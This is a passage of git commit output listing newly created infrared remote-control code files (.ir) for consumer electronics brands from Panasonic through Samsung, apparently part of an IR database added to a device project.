assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/TV/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ReadMe.md create mode 100644 assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir create mode 100644 